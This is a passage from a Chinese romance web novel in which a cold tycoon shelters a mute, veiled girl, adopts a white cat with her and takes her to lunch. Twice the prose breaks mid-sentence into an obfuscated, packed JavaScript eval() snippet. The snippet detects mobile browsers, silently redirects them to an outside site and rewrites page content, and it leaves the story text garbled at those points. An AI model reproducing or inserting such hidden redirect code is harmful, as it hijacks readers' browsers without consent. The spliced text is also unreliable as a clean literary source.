极致淡漠的声线,低醇悦耳如撩动大提琴弦,却透不出一丝情绪。好像刚才他所有于电光火石间泄露出的反常,都只缘她被黑纱隔了眼,生出错误的幻视。 夏之荧满心茫然。自己不谢他,难道还要恨他吗? “喵呜!” 那只她以为被困树尖下不来的白猫,灵活地蹦跶到了草坪上。 宫寻阙单手持杖,另一只手把它捞起来,抱到她跟前。 夏之荧看得眼睛都转不动了,肉墩墩的一团毛球,被阳光烘烤得蓬蓬松松,肉垫和鼻子都是粉粉的,像草莓棉花糖。 犹豫许久,她还是忍不住伸出手,把小猫抱进了自己怀里。 好软,好暖,像揣着一颗噗通直跳的心。 男人嘴角勾起一抹不易觉察的上扬弧度。 夏之荧只抱了小小一会儿,就将白猫放了下来。 宫寻阙眸光沉沉笼罩,“它太肥了?” 夏之荧赶紧捂住白猫的耳朵,小猫咪可听不得这样的话。 “这是外面溜进来的野猫。”宫寻阙道,“你想养的话就留下来吧。” 夏之荧点点头,又难过地摇摇头,头顶那缕翘起的头发也丧丧低垂。 宫寻阙看着她,“你不喜欢它?” 夏之荧赶紧摇头,怎么会不喜欢,她深深喜欢所有温暖柔软的事物。 “这样啊……”宫寻阙尾音略略拖长,似在思考,又像斟酌,“你从来没有养猫的经验,所以担心?” 黑得不显瞳仁的眼珠向下一轮,凝在眼前那颗被黑纱完全遮挡的小巧头颅上。 黑纱上下轻晃,夏之荧毫不犹豫地给了他肯定的答复。 况且她只是暂居玻璃宫,早晚都要离开的。万一到了那天,小猫又该怎么办呢? “那你朋友呢?”男人又问,“你有朋友和你一起养过猫吗?” 夏之荧迷惑地摇了摇头。别说养过猫的朋友,她从小连个能一起玩儿的同龄人都没有。 “这样。”宫寻阙垂下眼帘,鸦黑的睫毛敛藏起所有情绪。 “那就先交给我吧。” 夏之荧捏住猫爪摇了摇,又轻轻抚摸它的小脑袋,认真地和它告别。 可偏偏那只猫好动得很,攀上男人的肩膀看向她,毛茸茸的尾巴一甩一甩,让她最习以为常的离别都变得很难。 夏之荧攥紧裙摆,不受控制地追出去了一步。 与此同时,宫寻阙也停下了脚步。 云层游移,草叶轻摆,只有他们是静止的。 “如果你愿意的话,”男人回过头,一人一猫凝望着她,“我可以带它回来看你。” “不会一去不回。” 夏之荧抬手按住黑纱,不让它被风吹起,用力点了点头。 *** 宫氏集团的高管陆续走进电梯,前往会议室开例行的月会。封闭的电梯间里愁云惨雾,每个人的表情都像参加葬礼般沉重。 如果说宫寻阙的叔叔宫君鸿生前掌权期间,行事作风铁血严酷,可怕得像鬼,那宫寻阙毫无疑问就是钟馗—— 比鬼可怕。 “叮”,电梯门开了。 高管们一如既往地抱着奔赴刑场的悲壮心情,准备接受即将到来的拷问与折磨。 比死亡更可怕的是等待死亡。 月会原定时间是两点整,现在已经到点了,可宫寻阙还没出现。 这是从未有过的情况,比任何超自然现象更匪夷所思。 会议室一片死寂。 所有人都正襟危坐,恨不得把气管扎个死结,谁都不想也不敢第一个出声,因为没有人能预料到宫寻阙正筹划着什么。 两点十分的时候,会议室的大门打开了,宫寻阙走了进来。 和每一次会议一样,他穿着毫无褶皱的衬衣,领带用最老派的打法端正系在领口,一枚五瓣花图案的白金领针将它固定得纹丝不动。 当他缓慢坐下来时,高管们的呼吸都停顿了下来。他们微微颤抖着瞳孔,试图从宫寻阙的表情中读出一丝讯息—— 到底发生了什么样的大事,能让他这种严苛律己的人,迟到足足十分钟。 可男人的脸上根本看不出任何一种情绪,眉骨在白炽灯光下投射出狭长的阴影,一双眼睛深深陷成了坑,俊美无俦,死气沉沉。 “各位,不好意思。” 宫寻阙一开口,高管们不约而同地屏息凝神,只待头顶那把达摩克利斯之剑掉落。 “带猫去宠物医院做了些检查,耽误了时间。” 果然是不得了的……嗯? 在座的高管们一下子岔了气。 猫?宠物医院?宫董事长是在跟他们打什么哑谜吗? “我们得破解字面背后的含义。”一个高管悄声道,“猫……是不是指接下来要公布的第二季度财报?” “照你这么说,检查的意思就是财务审计了?” “按这个思路,宠物医院肯定是审计公司没跑儿了啊!” “可‘耽搁时间’该如何解?是这次的内部流程有变动,还是有别的什么问题?” 高管们越想越觉意味深长,仿佛有细数不尽的含义。到底是宫董事长,随便一句话,都是高屋建瓴的箴言。 就在众人头脑风暴之际,孔义俯身在宫寻阙耳边汇报道: “宫先生,请放心,绝育手术很成功。” *** 罗伦士保姆车驶进玻璃宫的大门。 孔义指挥两名“黑王蛇”保镖从后座的零压力感航空座椅上,稳稳搬出一只巨大的猫咪外出箱,戴着伊丽莎白圈的圆胖白猫正慵懒地趴在里面,有一搭没一搭地舔着毛。 孔义打开外出箱,白猫一眼就认出他是那天带自己去噶蛋蛋的人,弓起背龇牙咧嘴地朝他喵喵叫。 “我来吧。” 宫寻阙俯身把白猫抱了出来,见孔义站在一边,一副欲言又止的表情,便问:“怎么了?” 孔义看着那俩肥爪子正搭在自家老板40万的摩根荷森高定西服外套上,想到出门前它们还扒拉过猫砂,埋过…… “它真可爱。”孔义干巴巴道。 宫寻阙举起白猫,严肃端详,仿佛在确认它是不是真的很可爱。 “我女朋友也很喜欢猫,家里养了好几只。”孔义忽然起了好奇心,“宫先生,您以前养过宠物吗?” 虽然他是跟在宫寻阙身边最久的人,但他好像对他的私生活一无所知。并非他毫不关心,而是宫寻阙根本就没有私生活。 兴趣爱好、休憩娱乐、男欢女爱……这些东西都是正常人才有的,而宫寻阙全部的精力都放在了工作上,就像一台保证高速运转的电脑,永远完美正确,也永远不知疲倦。 孔义意识到自己刚才问出的问题非常愚蠢。 拜托,自己到底在想什么啊,老板怎么可能是会养宠物的人…… “养过。”宫寻阙道。 孔义:“?” “很久以前,朋友捡到过一只野猫。” “然、然后呢?” “没有然后。”宫寻阙很平静,“死了。” “……这也没办法。”孔义尴尬找补,“毕竟野猫生活在外面,很容易感染各种疾病。” 宫寻阙淡淡地“嗯”了一声。 “看,夏小姐已经等在那儿了,她真的很期待见到这只猫……”孔义轻咳,“和您。” 白寥寥的天空广阔无垠,少女站在露台上,靠着铁艺栏杆朝下眺望。 宫寻阙滚了滚喉结,眼底泛起暗涌的潮。 初见她时,她也像现在这样,打开阁楼那扇小小的窗,探出身子朝外远望。 风将她的长发吹得飘飘摇摇,她似乎随时都会消散不见,变成花,变成雪,变成海上的泡沫。 刺眼的日光落在她身上,都成了皎洁的月光。 那是他有生以来第一次见到灰与黑之外的色彩—— 世间最洁净无暇的纯白。 然而现在,她全身每一寸都被黑暗的色彩吞噬,不仅封印了容貌,连声音都不能发出来。 他甚至不知道自己什么时候才能再次看见她、听见她。 男人摩挲着杖头的白银五瓣花,几乎神经质地享受着花瓣锋利边缘划割指腹的痛意。 微风送来窸窸窣窣的轻响,长裙裙摆摇荡,擦过绒厚的草叶。 夏之荧急匆匆地走了过来。 这些天,她一直在想念那只白猫的触感。不知为什么,自己抱住它的时候总有种想哭的冲动,好像遗落很久的宝物终于失而复得。一看见车在庭院里停下,她就赶紧下了楼。 但是,因常年困在逼仄狭窄的小阁楼,夏之荧的四肢退行得非常羸弱,行动起来很笨拙。现在走得稍微快了一点,脚下就跌跌撞撞地不稳当,差点又要平地摔一跤。 幸好手臂及时被稳稳扶住。 那是一双很大的手,肤色黝暗,青筋隆突,手指修长而有力,和她掩藏在宽松袖管下的纤细胳膊形成了极大的反差。 雪白龙胆清冽又苦涩的气息弥漫开来,有点像台风天后草木被折断的创口散发出的辛辣香气,苦得清透纯粹,没有一丝浑浊气,反而有种令人安心的魔力。 夏之荧抬起头,正好对上一双浓黑沉郁的眼睛。 “不用着急。”宫寻阙道,“就在这里,不会走。” 裙摆泛起轻柔的动静,白猫摇晃着尾巴溜达过来,贴着她脚边来回地蹭。 夏之荧僵直地站在原地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420377|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧张得手足无措。 本来,她只要能看见这只猫就满足了。但现在,它胖墩墩、毛茸茸的身体就在眼前,她忍不住想摸摸它,抱抱它,捏捏它粉嫩的爪子。 人总是会在不知不觉间,变得更贪心一点。 “它很喜欢你。”宫寻阙淡淡开了口。 夏之荧微怔。 “猫很敏锐,能感受到人的情绪和气息。”宫寻阙唇线紧了紧,“它愿意靠近你,说明它认为你是一个很好的人,值得被喜欢。” 白猫仰起胖脸蛋,嗲声嗲气地冲她喵喵叫。 夏之荧迟疑了一下,端正跪坐下来,宽大的荷叶边裙摆在草地上开出一朵黑色的花。白猫毫不客气地躺了上去,一副“本大爷都准备好了,区区人类还等什么”的架势。 她试试探探伸出指尖,轻轻摸了一下它的肚子。 好软。隔着手套,也能感受到柔软温热的触感。 她又小心翼翼地摸了几下,白猫舒服地眯起眼睛,对她敞开了整个肚皮。 夏之荧抿起一缕微笑,挠它的下巴,顺着软乎乎的背脊毛一遍遍地摸。她手都酸了,这团胖毛球还是扭来扭曲地撒娇,根本不满足。 视线一点点向上抬起,她看向宫寻阙,晃了晃猫爪,邀请他一块儿加入进来。 男人沉寂了一瞬,握紧手杖,在她跟前半跪下来。 仗着一层黑纱的阻隔,少女专注在猫咪的视线,落在了对面男人的身上。 这还是她第一次近距离地看清这位宫先生,雪白龙胆清苦的香气扩散开来,从未如此浓烈。她翕动了一下薄薄的鼻翼,觉得自己的喉咙都在发苦。 不过,她虽然讨厌苦味,却意外地一点儿都不讨厌这缕雪白龙胆的苦香。 宫寻阙掀起睫羽,眸光掠了过来,喉结上下一滚。 夏之荧感觉对方似乎有话想对自己说,但应是错觉。因为男人很快便垂下眼帘,默默逗起了那只白猫。 风吹过宽阔的草地,荡起轻浅的绿色涟漪,树叶摇晃的沙沙声很清晰。 “猫缺一个名字。”宫寻阙打破了安静,“你想为它取一个吗?” 夏之荧摇摇头,指了指他,意思是白猫的名字应该由他来取。 “那,就叫棉花糖。”宫寻阙眸底光动,“你觉得怎么样?” 夏之荧一怔,没想到他竟能脱口而出,跟早就想好了似的。 不过,这只猫白白胖胖,和棉花糖有异曲同工之妙,还真的很适合这个名字。 她点了下头,表示认可。 黄昏降临,漫天薄暮像蛋黄搅碎了拌进云层,庭院里的景观灯也渐次亮起。 夏之荧看见,孔义带着两个“黑王蛇”从车上下来,朝这边走了过来。 这是到了该离开的时候了吧? 自己和宫先生非亲非故,他能在自己最困难的时候收留自己,提供这么好的住处,已经是做梦都不敢想的幸运。 最后,还让自己能再抱抱棉花糖,足够了。 夏之荧拍了拍裙子上的褶皱,郑重其事地向宫寻阙鞠了个躬,自觉地朝车的方向走了过去。 袖口传来牵扯的感觉。 她回过头,看见宫寻阙那只骨节锐利的大手,准确地抓住了她袖口边那圈膨开来的荷叶边。 男人指骨突出,棱棱耸立,显然是用了十足的力气,仿佛她是一尾滑溜溜的小金鱼,下一秒就会游走。 “你要去哪里?” 宫寻阙低沉的嗓音在暮色里扩散开来。 夏之荧紧张地看着他,孔义他们不是来带自己走的吗?宫先生好心救自己一次,自己总不能一辈子都赖着他吧? 现在,自己没有一丝遗憾地主动离开,这样做……哪里不对吗? “你哪儿都不许去。” 宫寻阙声线沉如金石,震得她胸口都微微发麻。 恍惚间,夏之荧生出一种错觉,那个斯文端严的宫先生好像突然变了一个人,生出一点富有侵略性的可怕。 意识到自己泄露了本该一直隐匿于黑暗的情绪,宫寻阙松开了紧攥夏之荧衣袖的手,语气和缓道:“我的意思是,你就是玻璃宫的主人。” 顿了顿,“从今以后,你什么都不用担心。” 夏之荧简直不敢相信自己的耳朵。 夏家所有人都巴不得能离她远远的,谁会希望家里有一个随时招来不幸的灾星。可宫先生却告诉她,自己可以留下,甚至语气郑重到生怕自己会离开一样。 “不过,玻璃宫也不能白住。”男人严肃起来,“有件麻烦事儿得请你帮忙。” 夏之荧一听,立刻诚惶诚恐地竖起耳朵。 “宫先生,按照您的吩咐,我们把东西送过来了。” 孔义示意两个“黑王蛇”把手中的箱子放下,里面都是猫粮、猫砂和猫爬架等养猫的必需品。 “我平时工作很忙,能不能拜托你照顾棉花糖?”男人露出一点无奈的表情。 夏之荧愣了愣,头顶那缕不听话的头发都兴奋得翘了起来。 她当然愿意,一百个一千个愿意! “没办法,比起我,棉花糖更喜欢你。”宫寻阙一瞬不错地凝望着她,“和你在一起,它一定会获得幸福。” 夕阳洒落在棉花糖的身上,散发出暖烘烘的味道。夏之荧把它抱在怀里,喉咙痒痒的,像喝下一大口冒着气泡的苏打水。 她有话想说,就在此刻。 5. 无声之言 夜幕从天上拉扯下来,城市亮起流光溢彩的霓虹。 宫寻阙坐在落地窗边的真皮沙发上,翻动纸页的声音在寂静的空气里格外鲜明。 那双一旦落笔签字就牵扯到上亿资金与千人生计的手,此刻并没有拿着企划案或是合同,而是捧着一本厚重的大部头著作,漆黑的精装封面反射出暗金色的意大利语—— 但丁·阿利盖利的《神圣的喜剧》。 主人公但丁与心爱女子贝雅特丽齐在地上乐园重逢的那一篇章,被加了一枚金属书签,书页边缘微微泛皱,显然被反复阅读过很多遍了。 当年被找回去后,他开始接受迟来的教育。最基本的就是半年内必须内熟练掌握三门以上的外语,包括那些艰难晦涩的古语和优美繁复的修辞。 家庭教师每天都会鞭策他阅读大量的文学典籍,稍有懈怠就会遭到严苛的惩罚。 讽刺的是,明明不久前他还不识数也不认字,连自己那个陌生的名字都不会写。蒙昧无知的野狗被急不可耐地教化,殊不知他的灵魂坚硬而又贫瘠,再丰足的雨水也濡湿不了荒原的一粒沙。 除了这篇长诗。 当他读到诗人穿过地狱,翻越七座炼狱山,和切慕倾心的圣女相遇时,胸中那片永恒冰封的冻土,终于出现了一丝裂隙。 渴念这种东西就像冻土之下的岩浆,不管多努力地压制,总会有喷薄呼啸的那一刻。 在某个无人知晓的黑夜,少年牙根咬出了血,可深潭似的乌黑瞳孔中,却翻涌起濒死困兽才有的锐芒。 地狱算得了什么,炼狱山又算得了什么。 只要能与她再度相见,无论要付出多大代价,他都能心甘情愿地承受。 男人指尖无声落下,比油墨更加浓黑的影子,吞噬了意大利俗语写就的诗行—— “转过来,贝雅特丽齐,转过你的圣洁明眸,看一看你那忠贞不二的人吧!他为了见你,跋山涉水,走了这么远的路!” 指尖凝固不动了。 仿佛读完这一句,男人便不愿意再往下读。 书本被合上,重新归于占满一整面墙壁的乌木书架之中。 眼前依旧是宽大得似是朝两边无限延伸的落地窗。窗外万家灯火,明明灭灭如星海沉浮,但这一切都与他无关。 他只是无端端地想:她还好吗?有开心一点吗?这时候不知道在做些什么? *** 夏之荧洗完澡出来,满头长发随意散在后背。因为吹起来实在太费劲,发丝还凝结着一层潮气,但仍显出惊人的发量和长度,和纤细娇小的身躯不成正比。 走路的时候,垂到脚踝的发梢随着脚步微微晃动,宛如有自我意志的古生物的尾巴。落在棉花糖的眼里,妥妥就是诱惑力十足的逗猫棒。 “喵呜~” 它蹦跶起来,两只山竹肥爪朝前一挠,可惜扑了个空。 虽然有点小尴尬,但棉花糖还是决定当做无事发生,优雅地窜到猫爬架上,尾巴一甩,打瞌睡去了。 夏之荧浅浅弯起嘴角,很快又用力抿紧。 她的小猫没有心事,她有。 今天,直到宫寻阙离开,她都没能对他传达出想说的话。 她不敢开口,无论多想发出声音,理智却在告诫她不能。 可是,那些没能倾吐的话语并不会随之消失,仍旧像猛烈摇晃汽水瓶后产生的泡沫,密密地拥堵在喉咙口。 夏之荧头顶那根翘起来的头发,怏怏地耷拉了下来。 她随手拿过放在床头的素描本,翻开一页空白,笔尖轻移,发出沙沙的声音。 棉花糖睁开一只眼睛,好奇地观察她。 这是夏之荧为数不多的爱好,或者说习惯,漫无目的地瞎涂瞎画的时候,内心也会逐渐变得宁静。 画到一半的时候,笔尖忽然停下。 夏之荧看着手中的彩铅和本子,觉得自己真是一个超级大笨蛋。 虽然自己的声音不能被别人听见,但用纸笔交流总没问题吧?这种间接的方式,总不会对人再有什么影响了吧? 不过,宫寻阙很忙,应该不会有空来玻璃宫了,自己得主动去找他。见到他后,自己也不能浪费他很多时间,只要能让他看到自己想对他说的话就行。 夏之荧握紧拳头,小小敲了一下掌心,就这么拿定了主意。 翌日一大早,孔义来了。 夏之荧以为他有什么很重要的事要跟自己说,谁知他只是问自己好不好,过得开不开心。见自己点头,紧绷的表情才松弛下来。 夏之荧心里有一丢丢奇怪。 饶是她不谙世事,却也曾见过自己父亲、爷爷的特助整天跟在上司屁股后面,忙得日理万机的样子。 孔义是宫寻阙的特助,照理说每天都有很多任务要完成。可现在却忙于帮自己送猫粮、猫砂,还特地过来一趟问自己好不好,好像这些微不足道的小事,反倒变成了天大的要紧事。 眼见孔义正要上车离开,她赶紧指了指车,示意能不能载自己一程。 “玻璃宫里有为您配备的专职司机和轿车,您想去哪儿只要吩咐就好……” 等等,孔义福至心灵,“难道您是想去见宫先生?” 夏之荧用力点了点头。 孔义忽然有了一种“守得云开见月明”的感觉…… 为他那明明长了一张嘴偏在夏之荧面前就成了摆设的老板。 “您请,我现在就陪您去。” 孔义恨不得直接把车飚进任意门里,门一开他老板就黑压压地杵在那儿。 “麻烦开快一点。”他催促司机道,“宫先生现在应该刚从前一个会上下来,离下一个会还有半小时。” “明白。” 司机猛踩一脚油门,时速迅速飙升,车窗外风景都糊成一片。 然后在两个红绿灯后停了下来。 不过,玻璃宫虽然离宫氏集团亚太区的总部大楼很近,但两者画风却是天差地别。夏之荧一下车,就被反射着刺目白光的摩天大楼群强行侵占了视线,一时间只觉得来到了另一个世界。 “附近一带的CBD核心地块都是在宫先生的主导下竞得的,用来建造宫氏的亚太区总部。”孔义介绍道,“以前设在星洲,是宫先生坚持梯度转移,将投资重心放在国内。” 因为是跟宫寻阙有关的事,夏之荧听得很认真。虽然没怎么听懂,但她还是希望对方再多说一点。 “外界无一例外地认为,宫先生看中的是国内市场的消费潜力,毕竟商人无利而不往,但事实并不全是这样。”孔义语带敬意,“宫氏加码在华投资,意味着能创造大量就业机会,改善许多人和家庭的生计。” 最后一句话,夏之荧听懂了。 原来,宫先生虽然长得像坏人,但一直喜欢做好事,怪不得他会对素不相识的自己同样伸出援手。 两个人一前一后地走进最高的那幢摩天大楼,搭乘VIP专用电梯来到了董事长办公室所在的楼层。 “您先在这儿等候片刻,我去向宫先生通报一声。”孔义道。 夏之荧抱紧素描本,很乖地点点头。 来到这儿后,她连呼吸都小心翼翼,万一不当心弄出点动静,影响宫先生工作就不好了。 休息区的沙发柔软舒适,可她莫名其妙地坐不安定。目光所及,一整层楼的装修都极致简约,本就宽阔的空间近乎空旷,只有墙上的挂钟陪着她,“滴滴答答”地走。 夏之荧看了一眼时间,又看一眼,心知才过去两分钟,还是忍不住生出点挠人的小烦躁。 秒针又走过一圈,耳边传来说话的声音。 她抬起头,几个西装革履的男人推开办公室的磨砂玻璃门走了出来。宫寻阙个子最高,卓然殊众,她一眼就能看见。 “那我们就先告辞了。” 高管们正要离开,冷不丁地瞥见不远处坐着一个打扮古怪的女孩,跟cosplay似的,一看就不是公司的人。 奇怪啊,这里怎么可能出现闲杂人等? 要知道,这一层平时基本只有副总裁级别的VP才有资格出入,事先还得发邮件向董秘办发邮件说明原由,申请批准后才能通过森严的门禁系统,怎么可能突然冒出一个来路不明的小姑娘。 紧接着,更离奇的一幕发生了。 宫寻阙那张严肃冷漠得跟无缝焊接的铁板似的脸上,竟然闪过一丝柔和的笑意,握着手杖快步朝女孩儿走了过去。 宫董事长他老人家……被夺舍了? 几个男人大眼瞪小眼,等电梯门一合上,他们再也憋不住,不约而同地张开口: “刚才你也看见了?” 又不约而同地惊恐点头。 “吓死我了。”一个高管心有余悸,“我差点以为营养师给我开的抗衰老剂有致.幻的副作用。” “……别神神叨叨的好么?”另一个高管揉着太阳穴,“怪不得我朋友推荐我去看的那个大师说我火旺低,要在冲南位挂一个桃木八卦镜。” 孔义:“……” “孔特助,那女孩到底是何方神圣啊?” “我记得齐家大小姐当年出国前,追到这儿只为见董事长一面,可董事长连门都没让她进,直接派人把她送回去了……” 这件事儿一度被传为奇谈,宫氏上下人尽皆知。 要知道,那女生不仅家世显赫,娇美明艳,还是年少成名的天才画家,即使放在名媛圈也是最亮眼的存在。 这样一位近乎完美的女神,愿意放下矜持主动告白,就算长着一颗石头心,恐怕也要心动了。 只可惜宫寻阙的心比石头更硬。 之后,圈子里开始冒出一些奇怪传闻。某位东南亚的老板大概听了进去,独辟蹊径地挑选了几个美若好女的年轻男孩儿,亲自送到宫寻阙的住所。 没人知道当晚发生了什么,只知道自那之后,那个老板撤走了在国内的全部生意,再也没敢踏进一步。 外界终于确信,这位宫家家主的身上当真不存在阿喀琉斯之踵。冥河的水将他的灵魂也浸泡得冰冷坚硬,不分美丑,不辨男女,人类在他眼中都不过是毫无区别的灵长类而已。 偏就是这样一个男人,现在却主动走向一个浑身漆黑的少女,悦色溢于言表,急切又小心,仿佛她是一抹海市蜃楼,瞬息即逝。 难道石头心也有生出血肉的那一刻吗? “隐隐约约有听说董事长买……救下了夏家的二小姐,不会那女孩就是……” “孔特助,您是董事长身边的人,是不是知道些什么啊?” “呵。”孔义面无表情地推了推眼镜。 他能知道什么,他什么都不知道,他只是一个普普通通的打工人罢了。 唯一能确定的,就是今后这种发生在老板身上的反常只会越来越频繁。 甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420378|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不可预料,更无法控制。 *** 整层楼面又变得安静,只有中央空调喷气口持续呼呼发响。 夏之荧抠着素描本的硬边,大概是太久没有和人交流,组织语言也变成了极其困难的事。明明觉得自己有话一定要和宫寻阙“说”,可真和他面对面了,她又不知道该如何落笔。 “抱歉,我被手头的工作耽搁了一会儿,是不是让你等很久了?”宫寻阙问她。 夏之荧摇摇头,是她心里觉得久,但其实一点儿也不久,秒针跑了三圈半而已。 “孔义说你急着找我,是有什么事吗?” 夏之荧犹豫了一下,小幅度地摇了摇头。 自己根本就没什么事。没什么事还来打扰宫先生工作,他会生气吗? 宫寻阙看着她,“你没什么事,还想来见我?” 果然……生气了吧。夏之荧垂下头,攥紧袖口的荷叶边,指甲一下一下地抠着。 生气也是理所应当。对宫先生这样的人而言,每分每秒都很宝贵,可自己却在这里浪费他的时间。 沮丧的心情从发现自己难以成言时就在不停蔓延,现在终于彻底堵满了她单薄的胸膛。 “以后想找我,随时都可以。”宫寻阙顿了顿,“不管有没有事。” 夏之荧愣住了,宫先生在说什么呀? “或者,如果你需要我,无论我在哪里,都会立刻赶来。” 话音刚落,只听“啪嗒”一声,素描本从夏之荧手中滑落。 她弯下腰去捡,手指几次从封皮滑过,都没把本子捡起来。最后还是宫寻阙替她拾起,拍了拍不存在的灰尘,交还到她手中。 雪白龙胆的清苦气息萦绕开来。 夏之荧抖了下眼睫,为数不多的勇气忽然被抽离干净,哪怕有黑纱的隔档,也不敢抬起眼来看宫寻阙了。 从来没人对她说过这样的话。 好像遇见宫寻阙以来,他对自己说的每一句话,都是从未听过的充满善意的言语。很简短,却又沉甸甸的叫她透不过气。 喉咙口像喝了太多的碳酸饮料,又有点刺刺的痛,麻麻的痒。伴随而来的,是想要传达心情的冲动。 夏之荧翻开素描本,一笔一画地写起字来。 她以前只靠画画打发时光,也没什么写字的机会。如今写起来十分生疏,握笔姿势也有些僵硬,手指头笨笨地紧绷,用了十二分认真的力。 写完,她举起素描本,担心自己身高不够,刚想踮起脚尖,宫寻阙却俯下身来,和她保持在同一高度。 距离猝不及防地拉近,夏之荧又被雪白龙胆的苦香味包围。许是有些浓烈的缘故,她微微眩晕,抓着素描本的纤细手指下意识地蜷紧。 “谢谢你救了我,还帮助了我很多。” 宫寻阙念起了写在纸张上的话,听起来有一种淡漠的金属感,但又透出沉静的温柔。 夏之荧的耳朵莫名有点发热,想捂住又腾不开手,她还得翻页呢。 “你真是个……好人……?” 宫寻阙的声线陡然变了调。 夏之荧用力点点头,生怕他不理解,还指了指“好人”两个大字,冲他比了个大拇指。 宫寻阙沉默了。 夏之荧又写下一行字,递到他眼前。 【我说的都是真话】 “我知道。” 【可你看上去有点不高兴】 宫寻阙不知道该怎么回应她。 他深知自己曾对她犯下不可原宥的重罪,也在反复告诫自己,现在所做的一切都是为了赎罪,不可逾界。 这份干净真诚的谢意,他根本没有资格接受。 也,并不愿意。 “我没有不高兴。” 【真的吗?】 问号被重重加粗。 “真的。” 【真的是真的吗?】 宫寻阙温声道:“你愿意和我交流,我很欣慰。” 夏之荧“唰唰唰”飞速勾勒几笔,一只小猫咪跃然纸上,朝宫寻阙露出一个可爱的笑脸。 宫寻阙鸦睫略颤,“你还是很喜欢画画。” 【画得不太好】 夏之荧垂下眼帘,想起了那些被陶如玲撕碎的画,穿着高跟鞋的脚在上面泄愤似地踩了又踩,警告自己以后不准再画这么恶心的东西。 “有喜欢的事情就尽情去做。”宫寻阙道,“现在的你是自由的。” 默了默,“而且……我觉得你画得很好。” 从过去到现在,一直。 夏之荧握着笔的手紧了紧。 又用冷感淡漠的声音和毫无起伏的声调,对自己说出了这样的话语。 如果不是那缕雪白龙胆的清苦药香穿透黑纱,以十分强烈的存在感萦绕在她鼻端,她可能真的会以为是自己的幻听。 笔尖落上纸面,凝固不动了。 比“谢谢”更深刻的词语是什么,她努力地想,眉头都微微蹙了起来。 肚子里传来轻微的“咕咕”声。 夏之荧这才意识到自己早上来得匆忙,连早餐都没吃。结果现在在宫寻阙面前,发出了和棉花糖想开罐罐时一样的声音。 其实,她觉得肚子饿就会叫是再正常不过的反应。但不知为何,还是微微窘迫起来。 “忙到现在倒突然有点饿了。”宫寻阙道,“你愿不愿意陪我一起用个午餐?” 6. 倏忽雨落 总部大楼的顶层是观光天阁,上面开了好几家餐厅,员工可以来这里吃饭。 现在这个点,午休时间还没开始,餐厅里都没什么人,空气里流淌着奶油的香味和悠缓的音乐,被360度环绕落地窗外漫进来的阳光一蒸腾,弥漫开一种慵懒惬意的氛围。 夏之荧从没来过这样的地方,头顶脚下仿佛都是悬空的蓝天。 她站在窗边眺望,浦江变成了一条发光的细线,林立的高楼也成了上帝随意摆弄的积木。 她小小深呼吸了一下,胸襟都不可思议地开阔起来。那些被关在阴暗潮湿的小阁楼里的记忆,仿佛成了上辈子般遥远的事情 “你想吃什么?”宫寻阙问道。 【我都可以】 “那我就随便点了。” 虽然宫寻阙是这样说的,但当看见自己面前被摆满了一碟一碟的精致甜点时,夏之荧不禁暗暗感叹点得真准,宫先生像有读心术一样。 “这位甜品师今年刚被英国《餐厅》杂志评为全球最佳。”宫寻阙道,“你帮我品鉴一下他的手艺,也不知是否名副其实。” 夏之荧切下一块草莓蛋糕,刚举起叉子,宫寻阙就很自觉地别过了头。 她掀起一点黑纱,把蛋糕送进了嘴里。 好好吃……! 草莓蛋糕的内馅经过多种香料的调和,将草莓清新甜润的香气发挥到极致,好吃到她头顶那撮头发翘得更高,差点戳破黑纱。 “味道怎么样?” 夏之荧无暇写字,腮帮塞得鼓鼓的。 可吃了几口后,她忽然放下刀叉,金属与白瓷碰击,发出了一点清脆的声响。 “不合你的口味吗?”宫寻阙问道,“不喜欢的话,我让人换别的上来。” 怎么可能不喜欢。 夏之荧抿了抿唇,草莓的甜味还在口腔里扩散。 只是,看着这一桌精美得宛如艺术品的甜点,她开始怀疑自己是不是真的能拥有这些东西。会不会迄今为止的一切,都是自己的幻想呢? 小时候,夏羽晴过生日,她偷偷溜出来,看见庭院里摆放着比人都高的三层蛋糕,雪白的长餐桌上堆满点心和饮料。缤纷的色彩,甘甜的香气,不停诱惑着她的眼睛和鼻子。 可她一口都吃不到。 夏羽晴养的宠物狗都能分到一块奶油蛋糕,而她只会被凶神恶煞地佣人拎回去,粗暴地塞进小阁楼。 【我很喜欢】 夏之荧翻开素描本,一个字一个字地写。 【我只是舍不得】 害怕点心吃完的那一刻,自己的幻想也将迎来终结。 “我知道了。” 她听见宫寻阙的话音里含了一点似有若无的笑意。 宫先生他……是觉得自己很傻气吗? “既然考核通过,那我会安排这位甜品主厨去玻璃宫,以后只要你想吃,随时都能吃到。” 香印青提的表皮被咬破,甜蜜的汁水迸裂,直冲喉咙。 夏之荧抓起笔,慌里慌张地写: 【我不是这个意思】 “我知道。”宫寻阙淡声道,“但我不想你舍不得。” 小时候,她就很喜欢甜蜜的东西,但无人在意她的喜欢,连一颗糖果都很少有机会吃到。 于是,他就用帮忙干一天活儿为条件,跟一个佣人换了一条甜源记的太妃夹心糖。 当时,甜源记是国内最流行的糖果品牌。尤其是招牌的太妃夹心糖,那个一咬开就流出浓郁夹心的广告,不知馋哭了多少小孩。 他和她分享了那一条来之不易的太妃糖。 一条有八颗,他吃一颗,她吃七颗。 他不爱吃糖,吃任何食物都只是为了活下去。但是,当看见她吃到糖果时露出的笑容,他也第一次感受到了甜味带给人的幸福。 